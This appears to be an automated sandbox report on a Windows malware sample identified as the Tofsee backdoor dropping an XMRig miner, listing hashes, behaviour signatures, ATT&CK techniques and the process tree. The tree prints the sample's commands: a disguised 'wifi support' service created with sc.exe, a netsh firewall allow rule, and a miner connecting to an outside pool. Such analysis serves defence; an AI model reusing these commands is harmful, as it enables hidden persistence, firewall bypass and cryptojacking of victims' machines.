Analysis

  • max time kernel
    147s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    25-11-2020 10:45

General

  • Target

    0x000200000001acb5-183.exe

  • Size

    10.2MB

  • MD5

    6b32791ddadc54b2e770a881eb83c260

  • SHA1

    d5815c8b204c47ebbb9f91c4f66e459e14136a32

  • SHA256

    23cb1064049da1e64c231cacee9908d9c1aed6a57b786740361d206d14bd2973

  • SHA512

    3a7334533bbcf4b1ad5b6200a9ef4c319a72ea06659e42c9b857e8e02c9115b04e63a61fb892f475456d53b907a7b7fe7fafb09d9e66cfc51481c2f170ac86fb

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\0x000200000001acb5-183.exe
    "C:\Users\Admin\AppData\Local\Temp\0x000200000001acb5-183.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1892
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\duhtyjpc\
      2⤵
        PID:884
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\jiwymjkc.exe" C:\Windows\SysWOW64\duhtyjpc\
        2⤵
          PID:1156
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create duhtyjpc binPath= "C:\Windows\SysWOW64\duhtyjpc\jiwymjkc.exe /d\"C:\Users\Admin\AppData\Local\Temp\0x000200000001acb5-183.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:756
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description duhtyjpc "wifi internet conection"
            2⤵
              PID:1472
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start duhtyjpc
              2⤵
                PID:1012
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1192
              • C:\Windows\SysWOW64\duhtyjpc\jiwymjkc.exe
                C:\Windows\SysWOW64\duhtyjpc\jiwymjkc.exe /d"C:\Users\Admin\AppData\Local\Temp\0x000200000001acb5-183.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:1032
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:1036
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:268

              Network

              MITRE ATT&CK Matrix ATT&CK v6

              Persistence

              New Service

              1
              T1050

              Modify Existing Service

              1
              T1031

              Registry Run Keys / Startup Folder

              1
              T1060

              Privilege Escalation

              New Service

              1
              T1050

              Defense Evasion

              Disabling Security Tools

              1
              T1089

              Modify Registry

              2
              T1112

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Temp\jiwymjkc.exe
                MD5

                f6b7a8095aba9bf8f546dec9ef50aa38

                SHA1

                66c5198032b17291a9de9a347a4b44fbe7a59a70

                SHA256

                e1e8589d69a20881781f9a0eea50db0346f2160f13e87a44e69611e134436073

                SHA512

                4fc2a3b17049f5fc0ccc54466752a48e06fd55e82ab4b6e749c4aa462678efcf0abccba7f5a6b122b9a32676dda65e27c7e54d196f07722f98c76aab66df621e

              • C:\Windows\SysWOW64\duhtyjpc\jiwymjkc.exe
                MD5

                f6b7a8095aba9bf8f546dec9ef50aa38

                SHA1

                66c5198032b17291a9de9a347a4b44fbe7a59a70

                SHA256

                e1e8589d69a20881781f9a0eea50db0346f2160f13e87a44e69611e134436073

                SHA512

                4fc2a3b17049f5fc0ccc54466752a48e06fd55e82ab4b6e749c4aa462678efcf0abccba7f5a6b122b9a32676dda65e27c7e54d196f07722f98c76aab66df621e

              • memory/268-23-0x000000000021259C-mapping.dmp
              • memory/268-21-0x0000000000180000-0x0000000000271000-memory.dmp
                Filesize

                964KB

              • memory/268-20-0x0000000000180000-0x0000000000271000-memory.dmp
                Filesize

                964KB

              • memory/756-4-0x0000000000000000-mapping.dmp
              • memory/884-1-0x0000000000000000-mapping.dmp
              • memory/1012-6-0x0000000000000000-mapping.dmp
              • memory/1032-10-0x0000000004D70000-0x0000000004D81000-memory.dmp
                Filesize

                68KB

              • memory/1036-17-0x0000000000420000-0x0000000000425000-memory.dmp
                Filesize

                20KB

              • memory/1036-11-0x0000000000080000-0x0000000000095000-memory.dmp
                Filesize

                84KB

              • memory/1036-12-0x0000000000089A6B-mapping.dmp
              • memory/1036-14-0x0000000001CB0000-0x0000000001EBF000-memory.dmp
                Filesize

                2.1MB

              • memory/1036-15-0x00000000000A0000-0x00000000000A6000-memory.dmp
                Filesize

                24KB

              • memory/1036-16-0x0000000000110000-0x0000000000120000-memory.dmp
                Filesize

                64KB

              • memory/1036-18-0x00000000058F0000-0x0000000005CFB000-memory.dmp
                Filesize

                4.0MB

              • memory/1036-19-0x0000000000430000-0x0000000000437000-memory.dmp
                Filesize

                28KB

              • memory/1156-2-0x0000000000000000-mapping.dmp
              • memory/1192-8-0x0000000000000000-mapping.dmp
              • memory/1472-5-0x0000000000000000-mapping.dmp
              • memory/1892-0-0x0000000005FC0000-0x0000000005FD1000-memory.dmp
                Filesize

                68KB